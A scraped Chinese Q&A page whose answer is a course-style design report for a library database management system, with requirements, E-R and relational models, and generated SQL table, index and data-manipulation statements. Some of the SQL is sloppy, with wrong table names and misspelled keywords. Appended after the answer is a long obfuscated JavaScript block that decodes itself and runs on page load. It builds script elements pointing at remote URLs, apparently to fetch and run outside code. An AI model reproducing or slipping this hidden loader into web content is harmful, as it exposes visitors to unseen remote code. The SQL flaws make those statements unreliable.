-25页 思考;1图书馆数据库管理系统中有哪些数据?对应了哪些实体

2025-04-01 07:56:31
推荐回答(1个)
回答1:

1.开发背景数据库技术和Internet的飞速发展,使它们已经成为现代信息技术的重要组成部分,是现在计算机信息系统和计算机应用系统的基础和核心。对于任何一个企业来说,数据是企业重要的资产,如何有效利用这些数据,对于企业发展起着极其重要的作用。随着我国市场经济的迅速发展和人们生活水平的不断提高,图书馆藏书的树木逐渐增大,这也挑战了图书管理方面的技术,以前的人工管理方式已经不再适应现在的环境,取而代之的是先进的图书管理系统,通过使用PowerBuilder创建的图书管理系统可以让管理人员方便而快捷的进行管理、查询、借阅、录入等工作。2.需求分析2.1系统目标图书管理信息系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强.数据安全性好的库。而对于后者则要求应用程序功能完备,易使用等特点。系统开发的总体任务是实现各种信息的系统化,规范化和自动化。2.2需求定义图书馆管理系统开发。系统开发的总的设计目标是实现图书管理的系统化、规范化和自动化,实现对图书资料的集中统一的管理。本系统主要实现对图书馆信息的管理,主要功能为管理有关读者、图书、借阅、查询、删除和管理员的信息等。本系统结构分为读者类别管理、读者档案管理、图书类型管理、图书档案管理以及图书流程管理,读者管理可以浏览读者的信息,可以对读者信息进行维护。图书管理可以浏览图书的信息,可以对图书信息进行维护。借阅管理可以显示当前数据库中书籍借阅情况,可以对借阅信息进行维护。本系统主要解决的问题是利用关键字对数据库进行查询。其系统的功能模块图如下:图2-1系统功能模块图针对一般图书管理信息系统的需求,通过对图书管理工作过程的内容和数据流程分析,设计如下面所示的数据项:读者信息属性:读者学号,读者姓名,读者性别,联系电话,所在院系,生效日期,失效日期,违章状况,累计借书主键:读者学号书籍信息属性:ISBN,书名,作者,出版社,出版日期,简介主键:ISBN管理员信息属性:工作号,姓名,性别,电话,家庭住址主键:工作号2.3数据流程2.3.1读者作为学生对图书管理系统的要求有:1.能按各种方式(比如书名、编号、作者)查询图书馆的藏书情况。2.能够方便地借阅图书、续借图书、归还图书。3.能够查询自己的基本资料、借阅图书情况。4.能够熟悉图书管理系统的使用。读者进入系统工作的流程图为:2-1进入系统工作的流程图2.3.2图书管理员作为图书管理员,他们对图书管理系统的要求有:1.能方便的对图书进行录入登记,注销陈旧的书籍。2.能够方便地对新生进行登记,或注销已经毕业的学生信息(基本信息,借阅信息)。3.能够随时发布一些诸如各学院学生借阅图书超期情况、馆内藏书情况、借情况等信息,以便各学院能够随时获知本院学生的一些借书信息。图书管理员工作的流程图为:2-2图书管理员工作流程图3.功能描述系统功能分析是在系统开发的总体任务的基础上完成。本系统需要完成的功能主要有5部分:(1)图书基本情况的录入,修改,删除等基本操作。1.书籍类别标准的制定,类别信息的输入,包括类别编号,类别名称,关键词,备注信息等。2.书籍类别信息的查询,修改,包括类别编号,类别名称,关键词,备注信息等。3.书籍信息的输入,包括书籍编号,书籍名称,书籍类别,作者名称,出版社名称,出版日期,书籍页数,关键词,登记日期,备注信息等。(2)借书卡模块。1.新生借书证。2.丢失借书证。(3)实现借书功能。1.借书信息的输入,包括借书信息编号,读书编号,读者姓名,书籍编号,书籍名称,借书日期,备注信息等。2.借书信息的查询,修改,包括借书信息编号,读者编号,读者姓名,书籍编号,书籍名称,借书日期,备注信息等。(4)实现还书功能。1.还书信息的输入,包括还书信息编号,读者编号,读者姓名,书籍编号,书籍名称,借书日期,还书日期,备注信息等。2.还书信息的查询和修改,包括还书信息编号,读书编号,读者姓名,书籍编号,书籍名称,借书日期,还书日期,备注信息等。(5)能方便的对图书进行查询。对超期的情况能自动给出提示信息4.概念模型设计各部分E-R图如下:(1)读者信息类别实体E-R图4-1读者类别实体E-R图(2)书籍信息类别实体E-R图4-2书籍类别实体E-R图(3)图书借阅实体E-R图:4-3图书借阅实体E-R图(4)投诉管理实体E-R图:4-4投诉管理实体E-R图4-5实体之间关系的E-R图借阅关系(读者、管理员、书籍三元关系)图4-6CDM图5.逻辑模型设计和优化从理论‘E-R模型’到理论‘关系模型’的整理转换,通过E-R模型到关系模型的转化,可以得到如下关系模式:借阅关系属性:工作号,读者学号,ISBN,是否续借,借书日期,还书日期,备注。主键:工作号,读者学号,ISBN管理员_书籍关系属性:工作号,ISBN,添加时间,是否在馆主键:工作号,ISBN管理员_学生关系属性:工作号,读者学号,确认借还主键:工作号,读者学号通过由概念模型设计得到CDM图powerdesigner转换成对应的PDM图:PDM图5.1图书信息表列名数据类型可否为空ISBNvarchar否书名varchar否作者varchar否出版社varchar是出版日期datetime是简介varchar是5.2读者信息表列名数据类型可否为空读者学号varchar否读者姓名varchar否读者性别varchar否联系电话varchar是所在院系varchar否5.3管理员信息表列名数据类型可否为空工作号varchar否姓名varchar否性别varchar否电话varchar是家庭住址varchar是5.4借阅表列名数据类型可否为空工作号char否ISBNchar否读者学号char否借阅日期datetime否还书日期datetime否是否续借char否5.5管理员_书籍列名数据类型可否为空工作号char否ISBNchar否添加时间datatime是是否在馆char是5.6管理员_学生列名数据类型可否为空工作号char否读者学号char否借还确认char否6.物理设计和实施从理论‘关系模型’到实现\实施‘数据库建立’,物理文件的安排和建立索引6.1建立索引为了提高在表中搜索元组的速度,在实际实现的时候应该基于键码建立索引是各表中建立索引的表项:(1)读者信息(读者学号)(2)书籍信息(ISBN)(3)管理员信息(工作号)(4)借阅(工作号,读者学号,ISBN)(5)管理员_书籍(工作号,ISBN)(6)管理员_学生(工作号,读者学号)6.2SQL语句如下所示:/*==============================================================*//*Table:书籍信息*//*==============================================================*/createtable书籍信息(ISBNchar(20)notnull,书名char(20),作者char(10),出版社char(15),出版日期char(30),简介char(160),constraintPK_书籍信息primarykey(ISBN));/*==============================================================*//*Index:书籍信息_PK*//*==============================================================*/createuniqueindex书籍信息_PKon书籍信息(ISBNASC);/*==============================================================*//*Table:投诉*//*==============================================================*/createtable投诉(工作号char(10)notnull,学号char(10)notnull,投书意见char(100),投诉日期char(30),受诉日期char(30),constraintPK_投诉primarykey(工作号,学号));/*==============================================================*//*Index:投诉_PK*//*==============================================================*/createuniqueindex投诉_PKon投诉(工作号ASC,学号ASC);/*==============================================================*//*Index:投诉_FK*//*==============================================================*/createindex投诉_FKon投诉(工作号ASC);/*==============================================================*//*Index:投诉2_FK*//*==============================================================*/createindex投诉2_FKon投诉(学号ASC);/*==============================================================*//*Table:登记*//*==============================================================*/createtable登记(工作号char(10)notnull,学号char(10)notnull,ISBNchar(20)notnull,证书日期char(30)notnull,还书日期char(30)notnull,违章状况char(160),累计借书char(160),备注char(160),constraintPK_登记primarykey(工作号,学号,ISBN));/*==============================================================*//*Index:登记_PK*//*==============================================================*/createuniqueindex登记_PKon登记(工作号ASC,学号ASC,ISBNASC);/*==============================================================*//*Index:登记_FK*//*==============================================================*/createindex登记_FKon登记(工作号ASC);/*==============================================================*//*Index:登记2_FK*//*==============================================================*/createindex登记2_FKon登记(学号ASC);/*==============================================================*//*Index:登记3_FK*//*==============================================================*/createindex登记3_FKon登记(ISBNASC);/*==============================================================*//*Table:管理员信息*//*==============================================================*/createtable管理员信息(工作号char(10)notnull,姓名char(10),性别char(5),电话char(15),所在院系char(25),constraintPK_管理员信息primarykey(工作号));/*==============================================================*//*Index:管理员信息_PK*//*==============================================================*/createuniqueindex管理员信息_PKon管理员信息(工作号ASC);/*==============================================================*//*Table:读者信息*//*==============================================================*/createtable读者信息(学号char(10)notnull,姓名char(10),性别char(5),电话char(15),所在院系char(25),constraintPK_读者信息primarykey(学号));/*==============================================================*//*Index:读者信息_PK*//*==============================================================*/createuniqueindex读者信息_PKon读者信息(学号ASC);7.主要数据操纵语句7.1管理员操作(1)注册(register)INSERTINTO管理员(工作号,姓名,性别,电话,家庭住址,备注)VALUES(#工作号,#姓名,#性别,#电话,#家庭住址,#备注)说明:在登记操作后,管理员得到一个唯一的工作号,可以根据这个工作号采查询和修改数据。(2)注销(unregister)DELETEFROMProviderWHERE(工作号=#工作号);(3)修改个人信息(update)UPdate管理员Set(工作号=#工作号,姓名=#姓名,性别=#性别,电话=#电话,家庭住址=#家庭住址)WHERE(工作号=#工作号)(4)增加书籍(addbooks)INSERTINTO图书(ISBN,书名,作者,出版社,出版日期,简介,)VALUES(#ISBN,#书名,#作者,#出版社,#出版日期,#简介,#备注)INSERTINTO管理员_书籍表(工作号,ISBN,添加时间,是否在馆)VALUES(#工作号,#ISBN,#添加时间,#是否在馆)(5)删除书籍(deletebooks)DELETE图书WHERE(ISBN=#ISBN)(6)修改书籍(updatebooks)UPDATE图书(书名=#书名,作者=#作者,出版社=#出版社,出版日期=#出版日期,简介=#简介)WHERE(ISBN=#ISBN)7.2读者操作(1)注册(register)INSERTINTO读者(读者学号,读者姓名,读者性别,联系电话,所在系,生效日期,失效日期,违章状况,累计借书,备注)VALUES(#读者学号,#读者姓名,#读者性别,#联系电话,#所在系,#生效日期,#失效日期,#违章状况,#累计借书,#备注)说明:在登记操作后,读者得到一个唯一的ID,可以根据这个ID来查询和修改自己的信息。(2)注销(unregister)DELETE读者WHERE(读者学号=#读者学号)(3)修改个人信息(update)UPDATE读者Set(读者姓名=#读者姓名,联系电话=#联系电话,所在系=#所在系,生效日期=#生效日期,失效日期=#失效日期,违章状况=#违章状况,累计借书=#累计借书,备注=#备注)WHERE(读者学号=#读者学号)(4)查询(select)SELECTISBN,书名,作者,出版社FROM图书WHEREISBN=#ISBNOR书名=#书名7.3管理员对借阅关系的操作(1)插入读者的信息(insert)INSERTINTO借阅(工作号,读者学号,ISBN,是否续借,借书日期,还书日期,备注)VALUES(#工作号,#读者学号,#ISBN,#是否续借,#借书日期,#还书日期,#备注)(2)更新信息(update)①更新借出信息UPDATE借阅SET(借书日期=#借书日期,还书日期=借书日期+30,是否续借=0)WHERE(工作号=#工作号AND读者学号=#读者学号ANDISBN=#ISBN)UPDATE管理员_图书SET(是否在馆=0)WHERE(ISBN=#ISBN)UPDATA学生SET(累积借书=累积借书+1)WHERE(读者学号=#读者学号)INSERTINTO管理员_学生(工作号,读者学号,确认借还,ISBN)VALUES(#工作号,#读者学号,”0”,#ISBN))②更新续借信息UPDATE借阅SET(是否续借=#是否续借)WHERE(工作号=#工作号AND读者学号=#读者学号ANDISBN=#ISBN)③更新还书信息UPDATE管理员_图书SET(是否在馆=1)WHERE(ISBN=#ISBN)UPDATE管理员_学生SET(确认借还=”1”)WHERE(工作号=#工作号AND读者学号=#读者学号ANDISBN=#ISBN)

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();